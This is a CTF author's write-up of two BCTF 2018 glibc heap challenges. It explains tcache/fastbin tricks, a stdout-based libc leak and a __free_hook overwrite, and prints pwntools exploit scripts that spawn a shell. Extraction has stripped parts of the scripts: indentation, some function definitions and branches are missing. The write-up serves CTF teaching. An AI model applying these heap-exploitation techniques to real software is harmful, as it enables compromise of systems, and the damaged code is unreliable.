# BCTF 2018 three & House of Atum

26 November 2018

Hi, I am Ne0. I made two challenges three and House of Atum for BCTF 2018, which is held by Blue-Lotus. I hope that you guys enjoyed this CTF. If you like this writeup, please follow me on Github. And the challenges can be find at here

## Three

This is an easy challenge. But the number of solve is not as much as I expected. I think many people tried to use house of roman to solve this challenge. Here I want to tell you: House of roman is Dead. Don’t use it any more.

Then how do we leak the address of libc with a challenge that doesn’t have leak feature? Bruteforce 4 bits to modify the _IO_2_1_stdout_. See the exploit below.

### Exploit

from pwn import *

local=1
pc='./three'
aslr=False
context.log_level=True

libc=ELF('./libc.so.6')

if local==1:
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
sla("choice:",str(idx))

choice(1)
sa("content:",content)

def edit(idx,content):
choice(2)
sla("idx:",str(idx))
sa("content:",content)

def free(idx,c):
choice(3)
sla(":",str(idx))
sla(":",c)

if __name__ == '__main__':

free(1,'y')
free(0,'n')
edit(0,p8(0x50))
free(1,'n')
edit(2,p64(0)+p64(0x91))
for i in range(0x7):
free(1,'n')
edit(2,p64(0)+p64(0x51))
free(0,'y')
edit(2,p64(0)+p64(0x91))
free(1,'y')

# Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
edit(2,p64(0)+p64(0x51)+p16(0x7760))

# Modify the flag and the write pointers
rv(8)
ru("Done")
free(0,'y')
edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
free(0,'y')
edit(2,'/bin/sh\x00')
choice(3)
sla(":",str(2))
p.interactive()

## House of Atum

This is a much more insteresting challenge. If you haven’t take a look at the challenge, I strongly recomend you to try it.

### Program info

This is a heap challenge too.

puts("1. new");
puts("2. edit");
puts("3. delete");
return getint();
}

The bug is obvious: UAF. But you have only 2 chunks to get the shell. This seems impossible at the first glance. Is it?

### Exploit

The server os is Ubuntu 18.04, which you can judge from the version of the libc.so.6. So it use tcache.

We all know that pointers in tcache don’t point to a chunk itself, but at the offset of 0x10. This is because tcache doesn’t check the size or other things when allocating and pointing directly to the address which user can control is more appropriate.

However , this makes it inconsistent with chunks in fastbin , as pointers in fastbin point to the chunks itself.

It’s easy than it sounds. Take a look at the POC below

void *a = malloc(0x28);
void *b = malloc(0x28);

// fill the tcache
for(int i=0; i<7 ;i++){
free(a);
}

free(b);

//What will happen with this:
free(a);

Get the idea?

Before the last free, the heap is like:

tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   <-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +------------+----------+       |
|                  |
+------------------+

fastbin                                 b
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   |
+-------+                    |                       |
|       |                    |                       |
+-------+                    +-----------------------+

After the last free, it becomes:

tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   +-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +-----------------------+       |
|
+---+
|
fastbin                                 a                |            b
+-------+                    +-----------+-----------+   | +-----------+-----------+
|       +-------------+      | prev_size |   size    | +-+-> prev_size |   size    |
+-------+             |      +-----------+-----------+ |   +-----------+-----------+
|       |             +------>  fd=b                 +-+   |  fd=0                 |
+-------+                    |                       |     |                       |
|       |                    |                       |     |                       |
+-------+                    +-----------------------+     +-----------------------+

Oh no! The prev_size of b will be used as the fd of the tcache! And this field can be controled by us!

Well, now you know how to solve the challenge.

Final exp:

from pwn import *

local=1
pc='./heapme'
aslr=False
#context.log_level=True

libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

if local==1:
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
def wrap(f):
def go(*args,**kargs):
sla("choice:",str(idx))
f(*args,**kargs)
return go
return wrap

@choice(idx=1)
sa("content:",content)

@choice(idx=2)
def edit(idx,content):
sla("idx:",str(idx))
sa("content:",content)

@choice(idx=3)
def free(idx,c):
sla(":",str(idx))
sla(":",c)

@choice(idx=4)
def show(idx):
sla(":",str(idx))

if __name__ == '__main__':
# leak heap
free(1,'y')
free(0,'y')
show(0)
ru("tent:")

# allocate a chunk at heap_addr+0x68
free(0,'y')
for i in range(7):
free(0,'n')
free(1,'y')
free(0,'y')

# create fake chunk and leak libc
free(1,'y')
edit(0,p64(0)*3+p64(0xa1))
free(0,'y')
edit(1,p64(0))
free(0,'y')
edit(1,p64(0))
free(0,'y')

for i in range(0x7):
free(0,'n')
free(0,'y')
show(0)
ru("A"*0x20)
free(0,'y')

# modify __free_hook
edit(1,p64(libc.symbols['__free_hook']))